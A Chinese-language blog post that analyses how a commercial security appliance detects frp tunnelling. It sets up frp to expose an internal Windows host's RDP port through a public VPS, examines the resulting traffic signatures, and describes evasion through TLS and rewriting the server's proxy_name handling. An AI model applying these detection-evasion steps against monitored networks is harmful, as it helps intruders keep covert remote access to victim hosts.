某安全設備frp流量告警分析
聲明
本文僅限于技術討論與分享,嚴禁用于非法途徑。若讀者因此作出任何危害網絡安全行為后果自負,與本人無關。
前言
也是第一次使用某商設備,不同廠商的規則庫不一樣,總的來說流量監控很大一部分是基于規則庫來實現的,所以在進行內網穿透的時候就要考慮如何bypass設備告警。
環境搭建
ubuntu 公網vps
win10內網主機
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz

服務端配置
bind_port = 9666 //frp服務端端口token = 123 //客戶端連接時的token認證dashboard_port=9999 //面板服務端口dashboard_user=Ggoodstudy //用戶名dashboard_pwd=xxxx //密碼enable_prometheus=truelog_file=/var/log/frps.log //日志存放位置log_level=infolog_max_days=3 vhost_http_port=9998 //http服務端口

啟動
./frps -c frps.ini
如果后臺運行
nohup ./frps -c frps.ini &

訪問面板
http://xx.xxx.xx.xx:9666
輸入賬號密碼登錄


此時服務端的配置已成功,客戶端配置
[common]server_addr = xx.xxx.x.xserver_port = 9666token = 123[rdp]type = tcplocal_ip = 127.0.0.1 local_port = 3389remote_port = 7004
這里設置代理本機的3389和8077端口

mstsc連接到主機

抓取數據包
host xx.xx.xx.xx

主機ip192.168.43.246

這里我們可以看到請求的流量包,在請求服務端的9666端口

詳情內容就是

可以看到詳細數據包中src_addr為受害主機出口地址,目的端口dst_port為vps的穿透端口7004端口,目的ip為vps的私網地址。

此時的連接狀態顯示的,同時,查看遠程時的連接遠程桌面時會產生這樣流量特征run_id

另外有特別的發現,虛擬機winserver 2012 R2在運行客戶端之后,vps在連接的過程中也能獲取到宿主機的用戶名

這是一個比較特別的點兒,剩余的流量就是vps和跳板機的流量交互,沒有很明顯的特征。
回頭看某商設備對于frp內網穿透的告警


我們可以對比之前的流量包,缺少的字段且僅有udp端口

這里可能某商的規則id是基于udp_port或者說是version字段而產生的告警行為。
魔改
從幾個方面規避流量監測
1.交互量加密
對frp的認證使用tls加密,修改服務端frps.ini
tlsonly = true
客戶端配置frpc.ini
tlsenable = true
2.重寫服務端
在上面的流量包中可以看到,在進行交互的時候

服務端會請求客戶端配置文件內容proxy_name,那么在定義變量的服務端,可以重寫方法
case *msg.NewVisitorConn: if err = svr.RegisterVisitorConn(conn, m); err != nil { xl.Warn("register visitor conn error: %v", err) msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error: util.GenerateResponseErrorString("register visitor conn error", err, svr.cfg.DetailedErrorsToClient), }) conn.Close() } else { msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error: "", })
在客戶端和服務器連接的時候流量特征變成自定義變量即可。
總結
frp的特征比較明顯,所以就單純魔改frp的話除了流量上做加密外,簡單的修改特征bypass設備也是可以實現的。